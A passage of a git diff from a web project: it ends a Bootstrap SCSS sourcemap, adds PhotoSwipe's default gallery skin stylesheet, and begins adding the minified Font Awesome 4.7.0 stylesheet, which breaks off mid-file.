block;\n clear: both;\n content: \"\";\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .d#{$infix}-none { display: none !important; }\n .d#{$infix}-inline { display: inline !important; }\n .d#{$infix}-inline-block { display: inline-block !important; }\n .d#{$infix}-block { display: block !important; }\n .d#{$infix}-table { display: table !important; }\n .d#{$infix}-table-row { display: table-row !important; }\n .d#{$infix}-table-cell { display: table-cell !important; }\n .d#{$infix}-flex { display: flex !important; }\n .d#{$infix}-inline-flex { display: inline-flex !important; }\n }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n .d-print-none { display: none !important; }\n .d-print-inline { display: inline !important; }\n .d-print-inline-block { display: inline-block !important; }\n .d-print-block { display: block !important; }\n .d-print-table { display: table !important; }\n .d-print-table-row { display: table-row !important; }\n .d-print-table-cell { display: table-cell !important; }\n .d-print-flex { display: flex !important; }\n .d-print-inline-flex { display: inline-flex !important; }\n}\n","// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n position: relative;\n display: block;\n width: 100%;\n padding: 0;\n overflow: hidden;\n\n &::before {\n display: block;\n content: \"\";\n }\n\n .embed-responsive-item,\n iframe,\n embed,\n object,\n video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n }\n}\n\n.embed-responsive-21by9 {\n &::before {\n padding-top: percentage(9 / 21);\n }\n}\n\n.embed-responsive-16by9 {\n &::before {\n padding-top: percentage(9 / 16);\n }\n}\n\n.embed-responsive-4by3 {\n &::before {\n padding-top: percentage(3 / 4);\n }\n}\n\n.embed-responsive-1by1 {\n &::before {\n padding-top: percentage(1 / 1);\n }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .flex#{$infix}-row { flex-direction: row !important; }\n .flex#{$infix}-column { flex-direction: column !important; }\n .flex#{$infix}-row-reverse { flex-direction: row-reverse !important; }\n .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n .flex#{$infix}-wrap { flex-wrap: wrap !important; }\n .flex#{$infix}-nowrap { flex-wrap: nowrap !important; }\n .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n .flex#{$infix}-fill { flex: 1 1 auto !important; }\n .flex#{$infix}-grow-0 { flex-grow: 0 !important; }\n .flex#{$infix}-grow-1 { flex-grow: 1 !important; }\n .flex#{$infix}-shrink-0 { flex-shrink: 0 !important; }\n .flex#{$infix}-shrink-1 { flex-shrink: 1 !important; }\n\n .justify-content#{$infix}-start { justify-content: flex-start !important; }\n .justify-content#{$infix}-end { justify-content: flex-end !important; }\n .justify-content#{$infix}-center { justify-content: center !important; }\n .justify-content#{$infix}-between { justify-content: space-between !important; }\n .justify-content#{$infix}-around { justify-content: space-around !important; }\n\n .align-items#{$infix}-start { align-items: flex-start !important; }\n .align-items#{$infix}-end { align-items: flex-end !important; }\n .align-items#{$infix}-center { align-items: center !important; }\n .align-items#{$infix}-baseline { align-items: baseline !important; }\n .align-items#{$infix}-stretch { align-items: stretch !important; }\n\n .align-content#{$infix}-start { align-content: flex-start !important; }\n .align-content#{$infix}-end { align-content: flex-end !important; }\n .align-content#{$infix}-center { align-content: center !important; }\n .align-content#{$infix}-between { align-content: space-between !important; }\n .align-content#{$infix}-around { align-content: space-around !important; }\n .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n .align-self#{$infix}-auto { align-self: auto !important; }\n .align-self#{$infix}-start { align-self: flex-start !important; }\n .align-self#{$infix}-end { align-self: flex-end !important; }\n .align-self#{$infix}-center { align-self: center !important; }\n .align-self#{$infix}-baseline { align-self: baseline !important; }\n .align-self#{$infix}-stretch { align-self: stretch !important; }\n }\n}\n","@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .float#{$infix}-left { @include float-left; }\n .float#{$infix}-right { @include float-right; }\n .float#{$infix}-none { @include float-none; }\n }\n}\n","// stylelint-disable declaration-no-important\n\n@mixin float-left {\n float: left !important;\n}\n@mixin float-right {\n float: right !important;\n}\n@mixin float-none {\n float: none !important;\n}\n","// stylelint-disable declaration-no-important\n\n// Common values\n\n// Sass list not in variables since it's not intended for customization.\n// stylelint-disable-next-line scss/dollar-variable-default\n$positions: static, relative, absolute, fixed, sticky;\n\n@each $position in $positions {\n .position-#{$position} { position: $position !important; }\n}\n\n// Shorthand\n\n.fixed-top {\n position: fixed;\n top: 0;\n right: 0;\n left: 0;\n z-index: $zindex-fixed;\n}\n\n.fixed-bottom {\n position: fixed;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-fixed;\n}\n\n.sticky-top {\n @supports (position: sticky) {\n position: sticky;\n top: 0;\n z-index: $zindex-sticky;\n }\n}\n","//\n// Screenreaders\n//\n\n.sr-only {\n @include sr-only();\n}\n\n.sr-only-focusable {\n @include sr-only-focusable();\n}\n","// Only display content to screen readers\n//\n// See: https://a11yproject.com/posts/how-to-hide-content/\n// See: https://hugogiraudel.com/2016/10/13/css-hide-and-seek/\n\n@mixin sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n white-space: nowrap;\n border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see https://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n@mixin sr-only-focusable {\n &:active,\n &:focus {\n position: static;\n width: auto;\n height: auto;\n overflow: visible;\n clip: auto;\n white-space: normal;\n }\n}\n","// stylelint-disable declaration-no-important\n\n.shadow-sm { box-shadow: $box-shadow-sm !important; }\n.shadow { box-shadow: $box-shadow !important; }\n.shadow-lg { box-shadow: $box-shadow-lg !important; }\n.shadow-none { box-shadow: none !important; }\n","// stylelint-disable declaration-no-important\n\n// Width and height\n\n@each $prop, $abbrev in (width: w, height: h) {\n @each $size, $length in $sizes {\n .#{$abbrev}-#{$size} { #{$prop}: $length !important; }\n }\n}\n\n.mw-100 { max-width: 100% !important; }\n.mh-100 { max-height: 100% !important; }\n","// stylelint-disable declaration-no-important\n\n// Margin and Padding\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n @each $prop, $abbrev in (margin: m, padding: p) {\n @each $size, $length in $spacers {\n\n .#{$abbrev}#{$infix}-#{$size} { #{$prop}: $length !important; }\n .#{$abbrev}t#{$infix}-#{$size},\n .#{$abbrev}y#{$infix}-#{$size} {\n #{$prop}-top: $length !important;\n }\n .#{$abbrev}r#{$infix}-#{$size},\n .#{$abbrev}x#{$infix}-#{$size} {\n #{$prop}-right: $length !important;\n }\n .#{$abbrev}b#{$infix}-#{$size},\n .#{$abbrev}y#{$infix}-#{$size} {\n #{$prop}-bottom: $length !important;\n }\n .#{$abbrev}l#{$infix}-#{$size},\n .#{$abbrev}x#{$infix}-#{$size} {\n #{$prop}-left: $length !important;\n }\n }\n }\n\n // Some special margin utils\n .m#{$infix}-auto { margin: auto !important; }\n .mt#{$infix}-auto,\n .my#{$infix}-auto {\n margin-top: auto !important;\n }\n .mr#{$infix}-auto,\n .mx#{$infix}-auto {\n margin-right: auto !important;\n }\n .mb#{$infix}-auto,\n .my#{$infix}-auto {\n margin-bottom: auto !important;\n }\n .ml#{$infix}-auto,\n .mx#{$infix}-auto {\n margin-left: auto !important;\n }\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Text\n//\n\n.text-monospace { font-family: $font-family-monospace; }\n\n// Alignment\n\n.text-justify { text-align: justify !important; }\n.text-nowrap { white-space: nowrap !important; }\n.text-truncate { @include text-truncate; }\n\n// Responsive alignment\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .text#{$infix}-left { text-align: left !important; }\n .text#{$infix}-right { text-align: right !important; }\n .text#{$infix}-center { text-align: center !important; }\n }\n}\n\n// Transformation\n\n.text-lowercase { text-transform: lowercase !important; }\n.text-uppercase { text-transform: uppercase !important; }\n.text-capitalize { text-transform: capitalize !important; }\n\n// Weight and italics\n\n.font-weight-light { font-weight: $font-weight-light !important; }\n.font-weight-normal { font-weight: $font-weight-normal !important; }\n.font-weight-bold { font-weight: $font-weight-bold !important; }\n.font-italic { font-style: italic !important; }\n\n// Contextual colors\n\n.text-white { color: $white !important; }\n\n@each $color, $value in $theme-colors {\n @include text-emphasis-variant(\".text-#{$color}\", $value);\n}\n\n.text-body { color: $body-color !important; }\n.text-muted { color: $text-muted !important; }\n\n.text-black-50 { color: rgba($black, .5) !important; }\n.text-white-50 { color: rgba($white, .5) !important; }\n\n// Misc\n\n.text-hide {\n @include text-hide();\n}\n","// Text truncate\n// Requires inline-block or block for proper styling\n\n@mixin text-truncate() {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n","// stylelint-disable declaration-no-important\n\n// Typography\n\n@mixin text-emphasis-variant($parent, $color) {\n #{$parent} {\n color: $color !important;\n }\n a#{$parent} {\n @include hover-focus {\n color: darken($color, 10%) !important;\n }\n }\n}\n","// CSS image replacement\n@mixin text-hide() {\n // stylelint-disable-next-line font-family-no-missing-generic-family-keyword\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n\n @warn \"The `text-hide()` mixin has been deprecated as of v4.1.0. It will be removed entirely in v5.\";\n}\n","//\n// Visibility utilities\n//\n\n.visible {\n @include invisible(visible);\n}\n\n.invisible {\n @include invisible(hidden);\n}\n","// stylelint-disable declaration-no-important\n\n// Visibility\n\n@mixin invisible($visibility) {\n visibility: $visibility !important;\n}\n","// stylelint-disable declaration-no-important, selector-no-qualifying-type\n\n// Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request:\n// https://www.phpied.com/delay-loading-your-print-css/\n// ==========================================================================\n\n@if $enable-print-styles {\n @media print {\n *,\n *::before,\n *::after {\n // Bootstrap specific; comment out `color` and `background`\n //color: $black !important; // Black prints faster\n text-shadow: none !important;\n //background: transparent !important;\n box-shadow: none !important;\n }\n\n a {\n &:not(.btn) {\n text-decoration: underline;\n }\n }\n\n // Bootstrap specific; comment the following selector out\n //a[href]::after {\n // content: \" (\" attr(href) \")\";\n //}\n\n abbr[title]::after {\n content: \" (\" attr(title) \")\";\n }\n\n // Bootstrap specific; comment the following selector out\n //\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n //\n\n //a[href^=\"#\"]::after,\n //a[href^=\"javascript:\"]::after {\n // content: \"\";\n //}\n\n pre {\n white-space: pre-wrap !important;\n }\n pre,\n blockquote {\n border: $border-width solid $gray-500; // Bootstrap custom code; using `$border-width` instead of 1px\n page-break-inside: avoid;\n }\n\n //\n // Printing Tables:\n // http://css-discuss.incutio.com/wiki/Printing_Tables\n //\n\n thead {\n display: table-header-group;\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n\n // Specify a size and min-width to make printing closer across browsers.\n // We don't set margin here because it breaks `size` in Chrome. We also\n // don't use `!important` on `size` as it breaks in Chrome.\n @page {\n size: $print-page-size;\n }\n body {\n min-width: $print-body-min-width !important;\n }\n .container {\n min-width: $print-body-min-width !important;\n }\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .badge {\n border: $border-width solid $black;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: $white !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid $gray-300 !important;\n }\n }\n\n // Bootstrap specific changes end\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/default-skin.css b/public/css/default-skin.css new file mode 100644 index 0000000..01e4e25 --- /dev/null +++ b/public/css/default-skin.css @@ -0,0 +1,614 @@ +/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */ +/* + Contents: + 1. Buttons + 2. Share modal and links + 3. Index indicator ("1 of X" counter) + 4. Caption + 5. Loading indicator + 6. Additional styles (root element, top bar, idle state, hidden state, etc.) +*/ +/* 1. Buttons */ + +/* <button> css reset */ + +.pswp__button { + width: 44px; + height: 44px; + position: relative; + background: none; + cursor: pointer; + overflow: visible; + -webkit-appearance: none; + display: block; + border: 0; + padding: 0; + margin: 0; + float: right; + opacity: 0.75; + -webkit-transition: opacity 0.2s; + transition: opacity 0.2s; + -webkit-box-shadow: none; + box-shadow: none; +} + +.pswp__button:focus, +.pswp__button:hover { + opacity: 1; +} + +.pswp__button:active { + outline: none; + opacity: 0.9; +} + +.pswp__button::-moz-focus-inner { + padding: 0; + border: 0; +} + + +/* pswp__ui--over-close class it added when mouse is over element that should close gallery */ + +.pswp__ui--over-close .pswp__button--close { + opacity: 1; +} + +.pswp__button, +.pswp__button--arrow--left:before, +.pswp__button--arrow--right:before { + background: url(default-skin.png) 0 0 no-repeat; + background-size: 264px 88px; + width: 44px; + height: 44px; +} + +@media (-webkit-min-device-pixel-ratio: 1.1), +(-webkit-min-device-pixel-ratio: 1.09375), +(min-resolution: 105dpi), +(min-resolution: 1.1dppx) { + /* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */ + .pswp--svg .pswp__button, + .pswp--svg .pswp__button--arrow--left:before, + .pswp--svg .pswp__button--arrow--right:before { + background-image: url(default-skin.svg); + } + .pswp--svg .pswp__button--arrow--left, + .pswp--svg .pswp__button--arrow--right { + background: none; + } +} + +.pswp__button--close { + background-position: 0 -44px; +} + +.pswp__button--share { + background-position: -44px -44px; +} + +.pswp__button--fs { + display: none; +} + +.pswp--supports-fs .pswp__button--fs { + display: block; +} + +.pswp--fs .pswp__button--fs { + background-position: -44px 0; +} + +.pswp__button--zoom { + display: none; + background-position: -88px 0; +} + +.pswp--zoom-allowed .pswp__button--zoom { + display: block; +} + +.pswp--zoomed-in .pswp__button--zoom { + background-position: -132px 0; +} + + +/* no arrows on touch screens */ + +.pswp--touch .pswp__button--arrow--left, +.pswp--touch .pswp__button--arrow--right { + visibility: hidden; +} + + +/* + Arrow buttons hit area + (icon is added to :before pseudo-element) +*/ + +.pswp__button--arrow--left, +.pswp__button--arrow--right { + background: none; + top: 50%; + margin-top: -50px; + width: 70px; + height: 100px; + position: absolute; +} + +.pswp__button--arrow--left { + left: 0; +} + +.pswp__button--arrow--right { + right: 0; +} + +.pswp__button--arrow--left:before, +.pswp__button--arrow--right:before { + content: ''; + top: 35px; + background-color: rgba(0, 0, 0, 0.3); + height: 30px; + width: 32px; + position: absolute; +} + +.pswp__button--arrow--left:before { + left: 6px; + background-position: -138px -44px; +} + +.pswp__button--arrow--right:before { + right: 6px; + background-position: -94px -44px; +} + + +/* + + 2. Share modal/popup and links + + */ + +.pswp__counter, +.pswp__share-modal { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.pswp__share-modal { + display: block; + background: rgba(0, 0, 0, 0.5); + width: 100%; + height: 100%; + top: 0; + left: 0; + padding: 10px; + position: absolute; + z-index: 1600; + opacity: 0; + -webkit-transition: opacity 0.25s ease-out; + transition: opacity 0.25s ease-out; + -webkit-backface-visibility: hidden; + will-change: opacity; +} + +.pswp__share-modal--hidden { + display: none; +} + +.pswp__share-tooltip { + z-index: 1620; + position: absolute; + background: #FFF; + top: 56px; + border-radius: 2px; + display: block; + width: auto; + right: 44px; + -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25); + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25); + -webkit-transform: translateY(6px); + -ms-transform: translateY(6px); + transform: translateY(6px); + -webkit-transition: -webkit-transform 0.25s; + transition: transform 0.25s; + -webkit-backface-visibility: hidden; + will-change: transform; +} + +.pswp__share-tooltip a { + display: block; + padding: 8px 12px; + color: #000; + text-decoration: none; + font-size: 14px; + line-height: 18px; +} + +.pswp__share-tooltip a:hover { + text-decoration: none; + color: #000; +} + +.pswp__share-tooltip a:first-child { + /* round corners on the first/last list item */ + border-radius: 2px 2px 0 0; +} + +.pswp__share-tooltip a:last-child { + border-radius: 0 0 2px 2px; +} + +.pswp__share-modal--fade-in { + opacity: 1; +} + +.pswp__share-modal--fade-in .pswp__share-tooltip { + -webkit-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); +} + + +/* increase size of share links on touch devices */ + +.pswp--touch .pswp__share-tooltip a { + padding: 16px 12px; +} + +a.pswp__share--facebook:before { + content: ''; + display: block; + width: 0; + height: 0; + position: absolute; + top: -12px; + right: 15px; + border: 6px solid transparent; + border-bottom-color: #FFF; + -webkit-pointer-events: none; + -moz-pointer-events: none; + pointer-events: none; +} + +a.pswp__share--facebook:hover { + background: #3E5C9A; + color: #FFF; +} + +a.pswp__share--facebook:hover:before { + border-bottom-color: #3E5C9A; +} + +a.pswp__share--twitter:hover { + background: #55ACEE; + color: #FFF; +} + +a.pswp__share--pinterest:hover { + background: #CCC; + color: #CE272D; +} + +a.pswp__share--download:hover { + background: #DDD; +} + + +/* + + 3. Index indicator ("1 of X" counter) + + */ + +.pswp__counter { + position: absolute; + left: 0; + top: 0; + height: 44px; + font-size: 13px; + line-height: 44px; + color: #FFF; + opacity: 0.75; + padding: 0 10px; +} + + +/* + + 4. Caption + + */ + +.pswp__caption { + position: absolute; + left: 0; + bottom: 0; + width: 100%; + min-height: 44px; +} + +.pswp__caption small { + font-size: 11px; + color: #BBB; +} + +.pswp__caption__center { + text-align: left; + max-width: 420px; + margin: 0 auto; + font-size: 13px; + padding: 10px; + line-height: 20px; + color: #CCC; +} + +.pswp__caption--empty { + display: none; +} + + +/* Fake caption element, used to calculate height of next/prev image */ + +.pswp__caption--fake { + visibility: hidden; +} + + +/* + + 5. Loading indicator (preloader) + + You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR + + */ + +.pswp__preloader { + width: 44px; + height: 44px; + position: absolute; + top: 0; + left: 50%; + margin-left: -22px; + opacity: 0; + -webkit-transition: opacity 0.25s ease-out; + transition: opacity 0.25s ease-out; + will-change: opacity; + direction: ltr; +} + +.pswp__preloader__icn { + width: 20px; + height: 20px; + margin: 12px; +} + +.pswp__preloader--active { + opacity: 1; +} + +.pswp__preloader--active .pswp__preloader__icn { + /* We use .gif in browsers that don't support CSS animation */ + background: url(preloader.gif) 0 0 no-repeat; +} + +.pswp--css_animation .pswp__preloader--active { + opacity: 1; +} + +.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn { + -webkit-animation: clockwise 500ms linear infinite; + animation: clockwise 500ms linear infinite; +} + +.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut { + -webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite; + animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite; +} + +.pswp--css_animation .pswp__preloader__icn { + background: none; + opacity: 0.75; + width: 14px; + height: 14px; + position: absolute; + left: 15px; + top: 15px; + margin: 0; +} + +.pswp--css_animation .pswp__preloader__cut { + /* + The idea of animating inner circle is based on Polymer ("material") loading indicator + by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html + */ + position: relative; + width: 7px; + height: 14px; + overflow: hidden; +} + +.pswp--css_animation .pswp__preloader__donut { + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14px; + height: 14px; + border: 2px solid #FFF; + border-radius: 50%; + border-left-color: transparent; + border-bottom-color: transparent; + position: absolute; + top: 0; + left: 0; + background: none; + margin: 0; +} + +@media screen and (max-width: 1024px) { + .pswp__preloader { + position: relative; + left: auto; + top: auto; + margin: 0; + float: right; + } +} + +@-webkit-keyframes clockwise { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} + +@keyframes clockwise { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); + } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} + +@-webkit-keyframes donut-rotate { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 50% { + -webkit-transform: rotate(-140deg); + transform: rotate(-140deg); + } + 100% { + -webkit-transform: rotate(0); + transform: rotate(0); + } +} + +@keyframes donut-rotate { + 0% { + -webkit-transform: rotate(0); + transform: rotate(0); + } + 50% { + -webkit-transform: rotate(-140deg); + transform: rotate(-140deg); + } + 100% { + -webkit-transform: rotate(0); + transform: rotate(0); + } +} + + +/* + + 6. Additional styles + + */ + + +/* root element of UI */ + +.pswp__ui { + -webkit-font-smoothing: auto; + visibility: visible; + opacity: 1; + z-index: 1550; +} + + +/* top black bar with buttons and "1 of X" indicator */ + +.pswp__top-bar { + position: absolute; + left: 0; + top: 0; + height: 44px; + width: 100%; +} + +.pswp__caption, +.pswp__top-bar, +.pswp--has_mouse .pswp__button--arrow--left, +.pswp--has_mouse .pswp__button--arrow--right { + -webkit-backface-visibility: hidden; + will-change: opacity; + -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1); + transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1); +} + + +/* pswp--has_mouse class is added only when two subsequent mousemove events occur */ + +.pswp--has_mouse .pswp__button--arrow--left, +.pswp--has_mouse .pswp__button--arrow--right { + visibility: visible; +} + +.pswp__top-bar, +.pswp__caption { + background-color: rgba(0, 0, 0, 0.5); +} + + +/* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */ + +.pswp__ui--fit .pswp__top-bar, +.pswp__ui--fit .pswp__caption { + background-color: rgba(0, 0, 0, 0.3); +} + + +/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */ + +.pswp__ui--idle .pswp__top-bar { + opacity: 0; +} + +.pswp__ui--idle .pswp__button--arrow--left, +.pswp__ui--idle .pswp__button--arrow--right { + opacity: 0; +} + + +/* + pswp__ui--hidden class is added when controls are hidden + e.g. when user taps to toggle visibility of controls +*/ + +.pswp__ui--hidden .pswp__top-bar, +.pswp__ui--hidden .pswp__caption, +.pswp__ui--hidden .pswp__button--arrow--left, +.pswp__ui--hidden .pswp__button--arrow--right { + /* Force paint & create composition layer for controls. */ + opacity: 0.001; +} + + +/* pswp__ui--one-slide class is added when there is just one item in gallery */ + +.pswp__ui--one-slide .pswp__button--arrow--left, +.pswp__ui--one-slide .pswp__button--arrow--right, +.pswp__ui--one-slide .pswp__counter { + display: none; +} + +.pswp__element--disabled { + display: none !important; +} + +.pswp--minimal--dark .pswp__top-bar { + background: none; +} + diff --git a/public/css/font-awesome.min.css b/public/css/font-awesome.min.css new file mode 100644 index 0000000..540440c --- /dev/null +++ b/public/css/font-awesome.min.css @@ -0,0 +1,4 @@ +/*! + * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome + * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) + */@font-face{font-family:'FontAwesome';src:url('../fonts/fontawesome-webfont.eot?v=4.7.0');src:url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'),url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'),url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'),url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'),url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');font-weight:normal;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);-ms-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scale(-1, 1);-ms-transform:scale(-1, 1);transform:scale(-1, 1)}.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";-webkit-transform:scale(1, -1);-ms-transform:scale(1, -1);transform:scale(1, -1)}:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270,:root .fa-flip-horizontal,:root .fa-flip-vertical{filter:none}.fa-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:middle}.fa-stack-1x,.fa-stack-2x{position:absolute;left:0;width:100%;text-align:center}.fa-stack-1x{line-height:inherit}.fa-stack-2x{font-size:2em}.fa-inverse{color:#fff}.fa-glass:before{content:"\f000"}.fa-music:before{content:"\f001"}.fa-search:before{content:"\f002"}.fa-envelope-o:before{content:"\f003"}.fa-heart:before{content:"\f004"}.fa-star:before{content:"\f005"}.fa-star-o:before{content:"\f006"}.fa-user:before{content:"\f007"}.fa-film:before{content:"\f008"}.fa-th-large:before{content:"\f009"}.fa-th:before{content:"\f00a"}.fa-th-list:before{content:"\f00b"}.fa-check:before{content:"\f00c"}.fa-remove:before,.fa-close:before,.fa-times:before{content:"\f00d"}.fa-search-plus:before{content:"\f00e"}.fa-search-minus:before{content:"\f010"}.fa-power-off:before{content:"\f011"}.fa-signal:before{content:"\f012"}.fa-gear:before,.fa-cog:before{content:"\f013"}.fa-trash-o:before{content:"\f014"}.fa-home:before{content:"\f015"}.fa-file-o:before{content:"\f016"}.fa-clock-o:before{content:"\f017"}.fa-road:before{content:"\f018"}.fa-download:before{content:"\f019"}.fa-arrow-circle-o-down:before{content:"\f01a"}.fa-arrow-circle-o-up:before{content:"\f01b"}.fa-inbox:before{content:"\f01c"}.fa-play-circle-o:before{content:"\f01d"}.fa-rotate-right:before,.fa-repeat:before{content:"\f01e"}.fa-refresh:before{content:"\f021"}.fa-list-alt:before{content:"\f022"}.fa-lock:before{content:"\f023"}.fa-flag:before{content:"\f024"}.fa-headphones:before{content:"\f025"}.fa-volume-off:before{content:"\f026"}.fa-volume-down:before{content:"\f027"}.fa-volume-up:before{content:"\f028"}.fa-qrcode:before{content:"\f029"}.fa-barcode:before{content:"\f02a"}.fa-tag:before{content:"\f02b"}.fa-tags:before{content:"\f02c"}.fa-book:before{content:"\f02d"}.fa-bookmark:before{content:"\f02e"}.fa-print:before{content:"\f02f"}.fa-camera:before{content:"\f030"}.fa-font:before{content:"\f031"}.fa-bold:before{content:"\f032"}.fa-italic:before{content:"\f033"}.fa-text-height:before{content:"\f034"}.fa-text-width:before{content:"\f035"}.fa-align-left:before{content:"\f036"}.fa-align-center:before{content:"\f037"}.fa-align-right:before{content:"\f038"}.fa-align-justify:before{content:"\f039"}.fa-list:before{content:"\f03a"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-indent:before{content:"\f03c"}.fa-video-camera:before{content:"\f03d"}.fa-photo:before,.fa-image:before,.fa-picture-o:before{content:"\f03e"}.fa-pencil:before{content:"\f040"}.fa-map-marker:before{content:"\f041"}.fa-adjust:before{content:"\f042"}.fa-tint:before{content:"\f043"}.fa-edit:before,.fa-pencil-square-o:before{content:"\f044"}.fa-share-square-o:before{content:"\f045"}.fa-check-square-o:before{content:"\f046"}.fa-arrows:before{content:"\f047"}.fa-step-backward:before{content:"\f048"}.fa-fast-backward:before{content:"\f049"}.fa-backward:before{content:"\f04a"}.fa-play:before{content:"\f04b"}.fa-pause:before{content:"\f04c"}.fa-stop:before{content:"\f04d"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before{content:"\f050"}